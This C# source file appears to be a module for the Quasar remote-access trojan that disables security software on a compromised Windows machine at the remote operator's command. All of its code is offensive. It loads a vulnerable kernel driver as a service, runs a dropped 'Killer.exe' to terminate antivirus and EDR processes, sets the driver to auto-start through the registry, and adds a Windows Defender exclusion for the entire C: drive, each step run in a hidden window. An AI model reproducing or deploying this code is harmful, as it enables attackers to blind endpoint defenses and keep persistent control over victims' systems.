using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;

namespace Quasar.Client.Messages
{
    public class AVKillerHandler : IMessageProcessor
    {
        public bool CanExecute(IMessage message) => message is DoAVKillerCommand;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            switch (message)
            {
                case DoAVKillerCommand cmd:
                    Execute(sender, cmd);
                    break;
            }
        }

        private void Execute(ISender client, DoAVKillerCommand message)
        {
            try
            {
                switch (message.Command)
                {
                    case "CHECK_DRIVER":
                        CheckDriver(client);
                        break;
                    case "INSTALL_DRIVER":
                        InstallDriver(client, message.DriverData);
                        break;
                    case "KILL_AVEDR":
                        KillAVEDR(client, message.KillerData);
                        break;
                    case "STOP_KILLER":
                        StopKiller(client);
                        break;
                    case "MAKE_PERSISTENT":
                        MakePersistent(client);
                        break;
                    case "EXCLUDE_CDRIVE":
                        ExcludeCDrive(client);
                        break;
                }
            }
            catch (Exception ex)
            {
                client.Send(new AVKillerResponse
                {
                    Output = $"ERROR: {ex.Message}\n",
                    IsError = true
                });
            }
        }

        private void CheckDriver(ISender client)
        {
            try
            {
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = "sc",
                    Arguments = "query QuasarDriver",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    UseShellExecute = false,
                    RedirectStandardOutput = true,
                    RedirectStandardError = true,
                    CreateNoWindow = true
                };

                using (Process process = Process.Start(psi))
                {
                    string output = process.StandardOutput.ReadToEnd();
                    process.WaitForExit();

                    if (process.ExitCode == 0 && output.Contains("QuasarDriver") && output.Contains("RUNNING"))
                    {
                        client.Send(new AVKillerResponse
                        {
                            Output = "DRIVER:LOADED\n",
                            IsError = false
                        });
                    }
                    else
                    {
                        client.Send(new AVKillerResponse
                        {
                            Output = "DRIVER:NOT_LOADED\n",
                            IsError = false
                        });
                    }
                }
            }
            catch
            {
                client.Send(new AVKillerResponse
                {
                    Output = "DRIVER:NOT_LOADED\n",
                    IsError = false
                });
            }
        }

        private void InstallDriver(ISender client, byte[] driverData)
        {
            new Thread(() =>
            {
                try
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = ">> Starting driver installation...\n",
                        IsError = false
                    });

                    // Generate random directory name
                    string randomDir = Path.Combine(Path.GetTempPath(), "sys_" + Path.GetRandomFileName().Replace(".", "").Substring(0, 8));
                    Directory.CreateDirectory(randomDir);

                    string driverPath = Path.Combine(randomDir, "vulndriver.sys");
                    File.WriteAllBytes(driverPath, driverData);

                    client.Send(new AVKillerResponse
                    {
                        Output = $">> Driver saved to: {driverPath}\n",
                        IsError = false
                    });

                    // Service name
                    string serviceName = "QuasarDriver";

                    client.Send(new AVKillerResponse
                    {
                        Output = $">> Registering driver as service: {serviceName}\n",
                        IsError = false
                    });

                    // Create service
                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = "sc",
                        Arguments = $"create {serviceName} binPath= \"{driverPath}\" type= kernel",
                        WindowStyle = ProcessWindowStyle.Hidden,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        RedirectStandardError = true,
                        CreateNoWindow = true
                    };

                    using (Process process = Process.Start(psi))
                    {
                        string output = process.StandardOutput.ReadToEnd();
                        string error = process.StandardError.ReadToEnd();
                        process.WaitForExit();

                        if (!string.IsNullOrEmpty(output))
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> SC CREATE OUTPUT:\n" + output + "\n",
                                IsError = false
                            });
                        }

                        if (!string.IsNullOrEmpty(error))
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> SC CREATE ERROR:\n" + error + "\n",
                                IsError = true
                            });
                        }

                        if (process.ExitCode != 0)
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = $">> SC CREATE failed with exit code: {process.ExitCode}\n",
                                IsError = true
                            });
                        }
                    }

                    // Start service
                    client.Send(new AVKillerResponse
                    {
                        Output = $">> Starting driver service...\n",
                        IsError = false
                    });

                    psi.Arguments = $"start {serviceName}";
                    using (Process process = Process.Start(psi))
                    {
                        string output = process.StandardOutput.ReadToEnd();
                        string error = process.StandardError.ReadToEnd();
                        process.WaitForExit();

                        if (!string.IsNullOrEmpty(output))
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> SC START OUTPUT:\n" + output + "\n",
                                IsError = false
                            });
                        }

                        if (!string.IsNullOrEmpty(error))
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> SC START ERROR:\n" + error + "\n",
                                IsError = true
                            });
                        }

                        if (process.ExitCode == 0)
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = $">> SUCCESS! Driver installed and started!\n>> Service Name: {serviceName}\n>> Driver Path: {driverPath}\n",
                                IsError = false
                            });
                        }
                        else
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = $">> Driver start failed with exit code: {process.ExitCode}\n>> This usually means you need administrator privileges\n",
                                IsError = true
                            });
                        }
                    }
                }
                catch (Exception ex)
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = $">> EXCEPTION: {ex.Message}\n>> Stack: {ex.StackTrace}\n",
                        IsError = true
                    });
                }
            }).Start();
        }

        private void KillAVEDR(ISender client, byte[] killerData)
        {
            new Thread(() =>
            {
                try
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = ">> Received KILL_AVEDR command\n",
                        IsError = false
                    });

                    // Save Killer.exe to random directory
                    string randomDir = Path.Combine(Path.GetTempPath(), "kill_" + Path.GetRandomFileName().Replace(".", "").Substring(0, 8));
                    Directory.CreateDirectory(randomDir);

                    string killerPath = Path.Combine(randomDir, "Killer.exe");
                    File.WriteAllBytes(killerPath, killerData);

                    client.Send(new AVKillerResponse
                    {
                        Output = $">> Killer.exe saved to: {killerPath}\n>> Starting AV/EDR termination...\n",
                        IsError = false
                    });

                    ProcessStartInfo psi = new ProcessStartInfo
                    {
                        FileName = killerPath,
                        WindowStyle = ProcessWindowStyle.Hidden,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        RedirectStandardError = true,
                        CreateNoWindow = true
                    };

                    using (Process process = new Process())
                    {
                        process.StartInfo = psi;
                        
                        client.Send(new AVKillerResponse
                        {
                            Output = ">> Launching Killer.exe...\n",
                            IsError = false
                        });

                        process.Start();

                        // Read output
                        Thread outputThread = new Thread(() =>
                        {
                            try
                            {
                                string line;
                                while ((line = process.StandardOutput.ReadLine()) != null)
                                {
                                    try
                                    {
                                        client.Send(new AVKillerResponse
                                        {
                                            Output = line + "\n",
                                            IsError = false
                                        });
                                    }
                                    catch { }
                                }
                            }
                            catch { }
                        });

                        Thread errorThread = new Thread(() =>
                        {
                            try
                            {
                                string line;
                                while ((line = process.StandardError.ReadLine()) != null)
                                {
                                    try
                                    {
                                        client.Send(new AVKillerResponse
                                        {
                                            Output = "[ERROR] " + line + "\n",
                                            IsError = true
                                        });
                                    }
                                    catch { }
                                }
                            }
                            catch { }
                        });

                        outputThread.Start();
                        errorThread.Start();

                        bool exited = process.WaitForExit(120000); // 2 minute timeout

                        outputThread.Join(1000);
                        errorThread.Join(1000);

                        if (exited)
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = $">> Killer.exe completed with exit code: {process.ExitCode}\n",
                                IsError = process.ExitCode != 0
                            });
                        }
                        else
                        {
                            try
                            {
                                process.Kill();
                            }
                            catch { }

                            client.Send(new AVKillerResponse
                            {
                                Output = ">> Killer.exe execution timed out after 2 minutes\n",
                                IsError = true
                            });
                        }
                    }

                    // Cleanup
                    try
                    {
                        Thread.Sleep(1000);
                        File.Delete(killerPath);
                        Directory.Delete(randomDir);
                        client.Send(new AVKillerResponse
                        {
                            Output = ">> Cleanup completed\n",
                            IsError = false
                        });
                    }
                    catch (Exception cleanEx)
                    {
                        client.Send(new AVKillerResponse
                        {
                            Output = $">> Cleanup warning: {cleanEx.Message}\n",
                            IsError = false
                        });
                    }
                }
                catch (Exception ex)
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = $">> EXCEPTION: {ex.Message}\n>> Stack: {ex.StackTrace}\n",
                        IsError = true
                    });
                }
            }).Start();
        }

        private void MakePersistent(ISender client)
        {
            try
            {
                client.Send(new AVKillerResponse
                {
                    Output = ">> Making driver persistent via registry...\n",
                    IsError = false
                });

                // Add to startup registry
                ProcessStartInfo psi = new ProcessStartInfo
                {
                    FileName = "reg",
                    Arguments = "add HKLM\\SYSTEM\\CurrentControlSet\\Services\\QuasarDriver /v Start /t REG_DWORD /d 2 /f",
                    WindowStyle = ProcessWindowStyle.Hidden,
                    UseShellExecute = false,
                    RedirectStandardOutput = true,
                    CreateNoWindow = true,
                    Verb = "runas"
                };

                using (Process process = Process.Start(psi))
                {
                    process.WaitForExit();

                    if (process.ExitCode == 0)
                    {
                        client.Send(new AVKillerResponse
                        {
                            Output = ">> Driver set to auto-start on boot!\n",
                            IsError = false
                        });
                    }
                    else
                    {
                        client.Send(new AVKillerResponse
                        {
                            Output = ">> Failed to make driver persistent\n",
                            IsError = true
                        });
                    }
                }
            }
            catch (Exception ex)
            {
                client.Send(new AVKillerResponse
                {
                    Output = $">> ERROR: {ex.Message}\n",
                    IsError = true
                });
            }
        }

        private void StopKiller(ISender client)
        {
            try
            {
                client.Send(new AVKillerResponse
                {
                    Output = ">> Attempting to stop Killer.exe...\n",
                    IsError = false
                });

                // Find and kill all Killer.exe processes
                Process[] killerProcesses = Process.GetProcessesByName("Killer");
                
                if (killerProcesses.Length == 0)
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = ">> No Killer.exe processes found running\n",
                        IsError = false
                    });
                    return;
                }

                int killedCount = 0;
                foreach (Process proc in killerProcesses)
                {
                    try
                    {
                        string procPath = proc.MainModule.FileName;
                        proc.Kill();
                        proc.WaitForExit(5000);
                        killedCount++;
                        
                        client.Send(new AVKillerResponse
                        {
                            Output = $">> Killed Killer.exe (PID: {proc.Id}, Path: {procPath})\n",
                            IsError = false
                        });
                    }
                    catch (Exception ex)
                    {
                        client.Send(new AVKillerResponse
                        {
                            Output = $">> Failed to kill process {proc.Id}: {ex.Message}\n",
                            IsError = true
                        });
                    }
                }

                client.Send(new AVKillerResponse
                {
                    Output = $">> Stopped {killedCount} Killer.exe process(es)\n",
                    IsError = false
                });
            }
            catch (Exception ex)
            {
                client.Send(new AVKillerResponse
                {
                    Output = $">> ERROR: {ex.Message}\n",
                    IsError = true
                });
            }
        }

        private void ExcludeCDrive(ISender client)
        {
            new Thread(() =>
            {
                try
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = ">> Attempting to exclude C:\\ from Windows Defender...\n",
                        IsError = false
                    });

                    // Use registry method directly
                    ProcessStartInfo psiReg = new ProcessStartInfo
                    {
                        FileName = "reg",
                        Arguments = "add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\" /v \"C:\\\" /t REG_DWORD /d 0 /f",
                        WindowStyle = ProcessWindowStyle.Hidden,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        RedirectStandardError = true,
                        CreateNoWindow = true
                    };

                    using (Process processReg = Process.Start(psiReg))
                    {
                        string outputReg = processReg.StandardOutput.ReadToEnd();
                        string errorReg = processReg.StandardError.ReadToEnd();
                        processReg.WaitForExit();

                        if (!string.IsNullOrEmpty(outputReg))
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> Registry Output:\n" + outputReg + "\n",
                                IsError = false
                            });
                        }

                        if (!string.IsNullOrEmpty(errorReg))
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> Registry Error:\n" + errorReg + "\n",
                                IsError = true
                            });
                        }

                        if (processReg.ExitCode == 0)
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = ">> SUCCESS! C:\\ exclusion added to registry\n>> Restarting Windows Defender service...\n",
                                IsError = false
                            });

                            // Restart Windows Defender service to apply changes
                            ProcessStartInfo psiRestart = new ProcessStartInfo
                            {
                                FileName = "powershell.exe",
                                Arguments = "-Command \"Restart-Service WinDefend -Force\"",
                                WindowStyle = ProcessWindowStyle.Hidden,
                                UseShellExecute = false,
                                RedirectStandardOutput = true,
                                RedirectStandardError = true,
                                CreateNoWindow = true
                            };

                            using (Process processRestart = Process.Start(psiRestart))
                            {
                                processRestart.WaitForExit();
                                
                                if (processRestart.ExitCode == 0)
                                {
                                    client.Send(new AVKillerResponse
                                    {
                                        Output = ">> Windows Defender service restarted\n>> C:\\ drive should now be excluded from scans\n",
                                        IsError = false
                                    });
                                }
                                else
                                {
                                    client.Send(new AVKillerResponse
                                    {
                                        Output = ">> Could not restart service automatically\n>> Please restart Windows Defender manually or reboot the system\n",
                                        IsError = false
                                    });
                                }
                            }
                        }
                        else
                        {
                            client.Send(new AVKillerResponse
                            {
                                Output = $">> Registry command failed with exit code: {processReg.ExitCode}\n>> This requires administrator privileges\n",
                                IsError = true
                            });
                        }
                    }
                }
                catch (Exception ex)
                {
                    client.Send(new AVKillerResponse
                    {
                        Output = $">> ERROR: {ex.Message}\n",
                        IsError = true
                    });
                }
            }).Start();
        }
    }
}
